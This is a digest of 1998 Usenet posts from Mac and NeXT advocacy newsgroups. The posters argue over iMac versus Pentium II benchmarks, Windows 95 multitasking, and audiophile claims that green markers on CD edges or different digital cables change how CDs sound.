References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com> <35d98440.15799568@news.netdirect.net> <jak-1808982348440001@dialup110.phnx.uswest.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
jak@asu.edu (John Kestner), on Tue, 18 Aug 1998 23:48:43 -0700,
>In article <35d98440.15799568@news.netdirect.net>, ev515o@hotxxxmail.com
>(Mayor Of R'lyeh) wrote:
>
>>Then I hope you enjoy using what others tell you to use. If swapping a
>>soundcard is really more than you can handle, then that's what you're
>>going to be doing.
>
>Why do I need to swap a soundcard? Isn't CD-quality built-in sound enough?
>(It's nice for developers to know they can count on a single sound
>interface, too.)
Did you just say that developers can "count on a single sound interface"?
Well, now that you mention it, I guess you are right. Too bad that /users/
can't count on a single sound interface. I know I may have seen more problems
than most, but anyone who doesn't realize that sound support in the
DOS-cum-Win9x world is not a horrible nightmare is simply not trying hard
enough to pay attention.
As for your "CD-quality built-in sound", it sounds like hardware issue. Which
means Linux can take advantage of it better than Windows can.
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: hcdejong@introweb.nl (Harro de Jong)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 18:48:01 +0200
Organization: Acme, Inc.
Message-ID: <1de0sy0.1momeoo6ccao0N@mod26.introweb.nl>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0> <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net> <rbarris-ya023280001808981330250001@206.82.216.1>
Cache-Post-Path: proxy.introweb.nl!unknown@mod26.introweb.nl
Rob Barris <rbarris@quicksilver.com> wrote:
> In article <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <joe.ragosta-1708981315410001@0.0.0.0>, joe.ragosta@dol.net
> > (Joe Ragosta) wrote:
> >
> > > In article <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net>,
> > > gmgraves@slip.net (George Graves) wrote:
> > >
> > > > In article <joe.ragosta-1708980656280001@elk81.dol.net>,
> > > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > >
> > > > > But that's my point. If the error correction measurements are
> > > > > unchanged, the color couldn't possibly make a difference. If the
> > > > > laser sends 010011010110101.... to the DAC, it doesn't matter one
> > > > > whit whether those bits per picked up with a red laser, with a
> > > > > filtered laser, or with a PlaySchool player.
> > > > >
> > > > > The only possible explanation would be if the green magic marker
> > > > > reduced (or increased) the number of errors--and this should be
> > > > > easily quantifiable.
> > > >
> > > >
> > > > There is, however, another explanantion. We don't understand all we
> > > > know about the process of digitizing audio. I mean, based on your
> > > > assumption, the cabel between the CD transport and the outboard D/A
> > > > converter shouldn't make any difference to the sound either - but it
> > > > does.
> > >
> > > Again, you'd have to show evidence that it does.
> >
> > I've run the experiment. You can too. Its easy. Get a CD player
> > (hopefully a good one) and a decent outboard D/A converter. Pick a CD
> > you know reasonably well and get a bunch of interconnects. Get some
> > cheap RCA to RCA, some expensive ones (like Monster sells) and some
> > "digital" cables from Cardas and Vampyre, as well as a TOSLINK cable,
> > and if the CD player and the D/A can accommodate it, an AT&T glass fiber
> > optical cable. Now change them out while listening. Guess what? They ALL
> > sound slightly different.
>
> Really, so some cables just corrupt low order bits of digital sample
> streams?
>
> If you were getting any kind of uniformly distributed errors in the bit
> stream at a significant rate, you'd know it, because 1/16 of them would
> cause a audio transient equal to one half of the maximum dynamic range.
>
> Put another way, errors in most-significant digits of a number have much
> greater effect on the output signal than errors in other digits. But, not
> knowing anything about the actual format or encoding of the digital stream
> on such cables I will leave it at that.
What if the cable introduces time-domain errors? Multimode optic fibre,
at least, can do this due to path-length differences between parts of
the light pulses.
And high-frequency digital signals usually look like shit when fed
through a cable. They'll have to be regenerated (a time-domain
operation) before a DAC can do anything with them.
--
Harro de Jong
From: alex@webis.net (Alex Kac)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 12:28:04 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-1908981228040001@castle.webis.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <6rd9vo$r45$1@nntp2.ba.best.com>
NNTP-Posting-Date: 19 Aug 1998 17:27:33 GMT
In article <6rd9vo$r45$1@nntp2.ba.best.com>, jpamer@best.com (Joseph
Palmer) wrote:
: In article <alex-1808981955510001@castle.webis.net>, alex@webis.net
(Alex Kac) wrote:
: >In article <6rd1km$bgs$1@plo.sierra.com>, "Earl Malmrose"
: ><earl.malmrose@nospam.sierra.com> wrote:
: >
: >: Legacy 'Xunker' wrote in message <35D9F38E.6407@ieighty.net>...
: >: >
: >: >Point of order, though. Win9x doesn't do Premptive MTing, either.. they
: >: >fake it real well.
: >:
: >: Wrong. Win9x does do pre-emptive multitasking. It is not "faked".
: >
: >Considering that you can't download a large file and do any browsing at
: >the same time on a just opened Pentium II-400 with 128MB of RAM, I don't
: >think I would put much into this real pre-emptive multi-tasking.
:
: Well, that's not true. I can and frequently do download more than one
: large file (.pdfs mostly) while browsing, and checking mail, printing
: and even reading news.
:
: There are plenty of things wrong with Win9X, (Don't get me started)
: but your example is not of them.
:
I'm sorry, but you can't discount what I see in front of my own eyes. No,
it doesn't do it all the time, but on 2 out of the three Pentium II
machines one of my client has, it does happen often enough. I can't see it
as a hardware issue since on one of the systems that dual boots into NT,
it works fine all the time.
This is just like that one person who was losing keystrokes on the MacOS
while doing file downloads. Well, that has never happened to me on any Mac
I've ever owned. But it CAN and DOES happen.
The same with Win95. It may not happen to 90% of the people who use it,
but it CAN and DOES happen. Win95's pre-emptive multitasking has so many
holes in it, that I don't really count it anymore as a benefit of Win95.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 10:35:49 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981035490001@sf-usr1-40-168.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net> <tim-1808981644030001@jump-tnt-0044.customer.jump.net>
In article <tim-1808981644030001@jump-tnt-0044.customer.jump.net>,
tim@jumpnet.com (Tim Olson) wrote:
> In article <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> | That's what YOU think! I have been fooling with this stuff
> | long enough to know better and I have an Electrical Engineering
> | degree which tells me that I should know better. In these cases
> | I have to put my engineering background on hold and trust my
> | ears.
>
> If you throw science and engineering away based upon what you *think* you
> hear (without any scientific method to back it up) you shouldn't consider
> yourself an engineer or scientist.
Actually, just the opposite is true. If your dogmatic adherence to the body
of known scientific knowledge keeps you from accepting phenomenea that
your senses tell you are occurring, then YOU are a bad scientist and engineer.
Case in point. In the early seventies, traditional engineering wisdom said
that all amplifiers with low IM and harmonic distortion and flat frequency
response SHOULD sound the same. Yet audiophiles were reporting that every
amp sounded different. Conventiuonal audio engineers derided this idea and
the mainstream audio engineering press was full of articles sneering at the
notion that an amplifier could have a sound of its own. Then, a Danish engineer
(don't remember his name) decided to do some actual listening (as opposed
to pontificating and spewing the "party line"). His investigations led to the
discovery of two types of very audible distortion heretofore not known or
measured: Transient Intermodulation Distortion (TIM) and another type of
distortion, called Diaelectric absorbtion distortion which had to do with
coupling capacitors not transfering their entire charge on each waveform
but letting it go later to ride on top of a subsequent waveform. This charge,
being uncorrelated with the current signa, produced a nasty distortion, easily
heard, but never before described or quantized. If this person had used your
narrow-minded and myopic view of engineering instead of using his ears,
we still wouldn't know about these two phenomenea.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 10:46:21 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981046210001@sf-usr1-40-168.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <seano1-1608981829480001@ip14.santa-clara11.ca.pub-ip.psi.net> <gmgraves-1708981011140001@sf-usr1-49-177.dialup.slip.net> <seano1-1808982136070001@ip39.santa-clara6.ca.pub-ip.psi.net>
In article <seano1-1808982136070001@ip39.santa-clara6.ca.pub-ip.psi.net>,
seano1@earthlink.net (Sean O'Flaherty) wrote:
> In article <gmgraves-1708981011140001@sf-usr1-49-177.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> >HMMM. I was a participant in a number of double blind tests in which the
> >results were fairly consistent and where an overwhelming percentage of
> >the participants did, indeed perceive a difference between a treated and
> >a non-treated CD.
>
> You say different but not better. I wound what would happened if people
> where asked to detect a difference between two identical samples. If you
> had two disks with out marked rimes would people detect a difference?
Good question. I listened to several pairs of the discs used in the tests
BEFORE I "penned" one of them, and I heard no difference between the
two supposedly identical CDs. As to whether the same panel who noted
differences between the panned and unpenned disks would also note
differences between two samples of the same disk is unknown. That
wasn't tried. I know that in many cases they were listening to unpenned
disks when they thought they were going to be hearing a penned disk
and vice versa. This didn't seem to throw them, however.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 10:57:36 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981057360001@sf-usr1-40-168.dialup.slip.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <6rcuq7$olr$1@ec.arbat.com>
In article <6rcuq7$olr$1@ec.arbat.com>, Erik Corry <erik@arbat.com> wrote:
> George Graves <gmgraves@slip.net> wrote:
>
> > But is the beam ITSELF visible red? It is possible that the laser
> > LED itself produces some red light INSIDE the laser diode, but
> > its the color of the laser beam itself that concerns us. If it is red,
> > then you would see a slim column of red light emitting from the
>
> Oh dear, you just blew your credibility on technical
> matters totally.
>
> > laser diode and striking the disc. (as in "Goldfinger" - "No Meester
> > Bond, I expect you to DIE!"). This would be visible from the side. No
> > visible red laser beam, then its not a red laser.
>
> The Bond reference may be a joke, but if you really think
> laser beams can be seen from the side, you must have your
> knowledge of lasers from the movies or from smoke-filled
> discos. Pop down to your local electronic gadget store
> and take a careful look at their laser pointers.
Actually, come to think of it, you are right, They would,
however see a red spot ON the disk.
>
> As to the frequency of CD lasers, we have seen lot of heat
> and not much light on this newsgroup (must be an infrared
> discussion!). Can't someone take their CD player apart
> (not me, I don't have one at the moment) and look up the
> part number and specs for the laser. Last I took one apart
> I think it was red, but I was trying to avoid looking at
> it due to the risk of blinding myself.
That's my point. They are all infrared lasers. The parts lists
SAY so!
George Graves
>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 10:36:58 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981036590001@sf-usr1-40-168.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net> <tim-1808981644030001@jump-tnt-0044.customer.jump.net> <joe.ragosta-1908980807560001@wil70.dol.net>
In article <joe.ragosta-1908980807560001@wil70.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <tim-1808981644030001@jump-tnt-0044.customer.jump.net>,
> tim@jumpnet.com (Tim Olson) wrote:
>
> > In article <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net>,
> > gmgraves@slip.net (George Graves) wrote:
> >
> > | That's what YOU think! I have been fooling with this stuff
> > | long enough to know better and I have an Electrical Engineering
> > | degree which tells me that I should know better. In these cases
> > | I have to put my engineering background on hold and trust my
> > | ears.
> >
> > If you throw science and engineering away based upon what you *think* you
> > hear (without any scientific method to back it up) you shouldn't consider
> > yourself an engineer or scientist.
>
> Not true.
>
> I'm a scientist. While throwing science and engineering away isn't
> appropriate, a long-standing tradition in science is observation. In fact,
> observation as a part of the scientific principle goes back at least as
> far as Aristotle.
>
> A scientist always has his eyes (or ears) open. When they see an
> phenomenon that isn't explainable with existing theories, they explore it
> in more detail to try to understand it. Some times, the reach the
> conclusion that their observations were in error and the phenomenon wasn't
> real. Sometimes, they discover some new effect. Sometimes they find that
> an existing effect explains it. And sometimes they can't reach a
> conclusion and have to drop it.
>
> But no self-respecting scientist neglects observation.
Absolutely! Well put.
George Graves
Message-ID: <35DB11EE.3016@ieighty.net>
Date: Wed, 19 Aug 1998 11:57:02 -0600
From: Legacy 'Xunker' <legacy@ieighty.net>
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Alex Kac wrote:
>
> In article <6rd1km$bgs$1@plo.sierra.com>, "Earl Malmrose"
> <earl.malmrose@nospam.sierra.com> wrote:
>
> : Legacy 'Xunker' wrote in message <35D9F38E.6407@ieighty.net>...
> : >
> : >Point of order, though. Win9x doesn't do Premptive MTing, either.. they
> : >fake it real well.
> :
> : Wrong. Win9x does do pre-emptive multitasking. It is not "faked".
>
> Considering that you can't download a large file and do any browsing at
> the same time on a just opened Pentium II-400 with 128MB of RAM, I don't
> think I would put much into this real pre-emptive multi-tasking.
>
> Heck, the pre-emptive, memory protected OS I wrote for a CS class did better...
My point exactly. If its a *true* premptive, then the machine should
never crash from an outside app. A BSOD form IE should not cause a
system freeze if its true PMT. PMT means that the OS is always in
control -- it goes hand in hand protected memory.
--
-LX "...Hello Rebel..."
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 11:06:14 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981106150001@sf-usr1-40-168.dialup.slip.net>
References: <gmgraves-1808981148450001@sf-usr1-26-154.dialup.slip.net> <000035D9E75C.NO_UCE@mauve.demon.co.uk>
In article <000035D9E75C.NO_UCE@mauve.demon.co.uk>, Ian Stirling
<000035D9E75C.NO_UCE@mauve.demon.co.uk> wrote:
> In comp.sys.intel George Graves <gmgraves@slip.net> wrote:
> : In article <joe.ragosta-1808980752420001@wil41.dol.net>,
> : joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> :> In article <6ra5vg$b9h$1@news.spacelab.net>, "Charles W. Swiger"
> :> <chuck@codefab.com> wrote:
> :>
> :> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> :> > >> joe.ragosta@dol.net (Joe Ragosta) wrote:
> :> > >> [ ...green pen... ]
> :> > >
> :> > > But how could a green pen change the sampling rate?
> :> >
> :> > Not the sampling rate, but it might conceivably cause minor
variants in the
> :> > precise time between samples. For the sake of argument, let's
> <snip>
> :> > If so, then the photoreceptor will not see reflections before or
after the
> <snip>
>
> :> I also don't have any opinion, but I'm having trouble understanding your
> :> explanation. Isn't the digital signal sent to the DAC at a fixed
> :> frequency?
>
> : Yes but its coming from a MECHANICAL storage device. Unless the motor and
> : the 'turntable' spining that disc is perfect and free from any speed
variation
> : at all, then the bit stream is going to be all over the place. Reclocking
> : circuits
> : such as FIFOs tend to drop bits and then close-up the spaces, so they
introduce
> : as much bit stream error as they correct. Expensive D/A converters use
multiple
>
> This isn't how I understand it to work.
> Somewhere along the line is a maybe 1000-100000 sample fifo.
> If it gets over 70% full, the motor circuitry is told to slow down, if
> it gets under 30%, it's told to speed up.
>
> No bits get lost.
Unless the are lost between the photoelectric pickup and the FIFO.
George Graves
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Wed, 19 Aug 1998 11:08:50 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6rf4ss$4ab$1@plo.sierra.com>
References: <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net> <B1FFC698-6CC0E@206.165.43.134>
NNTP-Posting-Date: 19 Aug 1998 18:18:04 GMT
Lawson English wrote in message ...
>>Really? I have the source code for Byte and Codewarrior 3 (the compiler
>>used for the majority of software compiled for the mac). Please advise me
>>how to repeat this fact.
>
>Actually, most development work is done using CodeWarrior but if you need
>the highest speed, you do your final build using Mr C or some other, more
>efficient PPC compiler (Motorola, perhaps?).
Then might it also make sense to use the highest speed x86 compiler, if you
want a more fair benchmark? MSVC++ 5.0 is at least 40% faster than the
Watcom that BYTE used.
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 18:26:15 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35dd05a1.64095557@news.supernews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel), on 19 Aug 1998 06:12:08 GMT,
>On Tue, 18 Aug 1998 23:33:48 GMT, T. Max Devlin <mdevlin@eltrax.com> wrote:
>:I believe the case is that everybody *wants* a computer to be like a car.
>:Which is good. Even the people who don't want computers to be "easy" above
>:all else want them to be like cars.
>
>I wish computers were more like cars in the way that counts:
>
>You drive whichever sort you want wherever you want, and there isn't a
>cabal of clueless businessmen standardizing everybody's car[...]
Now you've got it. :-)
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: Michael Benedetti <mike.benedetti@no-spam.lmco.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Wed, 19 Aug 1998 09:26:40 -0700
Organization: Lockheed Martin Federal Systems
Message-ID: <35DAFCC0.9AA6236@no-spam.lmco.com>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <joe.ragosta-1808981606460001@wil59.dol.net> <6rd336$buo$1@plo.sierra.com> <slrn6tkmpa.1j5.cjm@herbie.husker>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
What color tie was Steve Jobs not wearing when he made that statement?
Chad McQuinn wrote:
> On Tue, 18 Aug 1998 16:25:47 -0700, Earl Malmrose wrote:
> >Joe Ragosta wrote in message ...
> >>
> >>Jobs is practicing marketing. The means carefully selecting your claims to
> >>support your position. He has not lied in any reasonable sense of the
> >>word.
> >
> >From <http://www.apple.com/pr/library/1998/aug/13fast.html>
> >
> >"The iMac for $1,299 toasts the fastest PC money can buy at any price--the
> >Pentium II 400," said Steve Jobs, Apple's interim CEO.
> >
> >That is a lie, period. He is implying overall system performace based on the
> >flawed (IMO) BYTEmarks. He left out the part about only toasting the PII-400
> >in BYTEmarks. That is misleading. That is a lie.
>
> Steve Jobs never lied, and he never asked anyone to lie. Now mind your
> business, all of you--this is between Steve, the iMac, and their god.
From: ack@getmail.com (Ackmar Hasckrewqski)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 19 Aug 1998 16:46:55 GMT
Organization: netINS, Inc.
Distribution: world
Message-ID: <6revhv$94u$1@ins8.netins.net>
References: <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <6ra2ld$3ag@fridge.shore.net> <980818180328-see@my.sig.com>
Mime-Version: 1.0
Content-Type: Text/Plain; charset=US-ASCII
In article <980818180328-see@my.sig.com>, see@my.sig.com says...
>Sorry, they are too busy enjoying using their iMacs to worry about such
>non-issues. That and wondering what their WinTel owning friends are
>talking about then they get together at parties and swap stories about
>Registry problems and having to reformat their drives and reinstall
>everything to get it to work again after junior installed a game...
>
Yep, that is right, I know people with macs, they are the most productive
people I know with a computer while the unlucky souls who bought into
Gates and his monopoly on computing do nothing but reformat their disks,
day-in, day-out. Face it, you just can't do anything on a wintel machine
without having to reformat the disk and reload windows between running
applications. Nobody I know with a mac has ever had a problem or even has
a clue about how to go about doing a clean install of the operating system.
Why? BECAUSE THEY NEVER HAVE TO! Macs never, ever, ever crash and the only
people who have any computer problems are those on the evil Wintel machines.
My mac has been running continously now for over 7 years without ever being
turned off or restarted. Installed thousands of programs on it, upgraded the
operating system 4 times, never have had a problem, much less a crash.
Macs are great!
[insert sig here]
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 10:54:01 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981054010001@sf-usr1-40-168.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0> <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net> <redgate-1908981057290001@aux163.tulsa.oklahoma.net>
In article <redgate-1908981057290001@aux163.tulsa.oklahoma.net>,
redgate@oklahoma.net (Kirk Kerekes) wrote:
> In article <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> . In article <joe.ragosta-1708981315410001@0.0.0.0>, joe.ragosta@dol.net
> . (Joe Ragosta) wrote:
> .
> . > In article <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net>,
> . > gmgraves@slip.net (George Graves) wrote:
> . >
> . > > In article <joe.ragosta-1708980656280001@elk81.dol.net>,
> . > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> . > >
> . > > > But that's my point. If the error correction measurements are
unchanged,
> . > > > the color couldn't possibly make a difference. If the laser sends
> . > > > 010011010110101.... to the DAC, it doesn't matter one whit
whether those
> . > > > bits per picked up with a red laser, with a filtered laser, or with a
> . > > > PlaySchool player.
> . > > >
> . > > > The only possible explanation would be if the green magic marker
reduced
> . > > > (or increased) the number of errors--and this should be easily
> . > > > quantifiable.
> . > >
> . > >
> . > > There is, however, another explanantion. We don't understand all we
> . know about
> . > > the process of digitizing audio. I mean, based on your assumption, the
> . cabel
> . > > between the CD transport and the outboard D/A converter shouldn't
make any
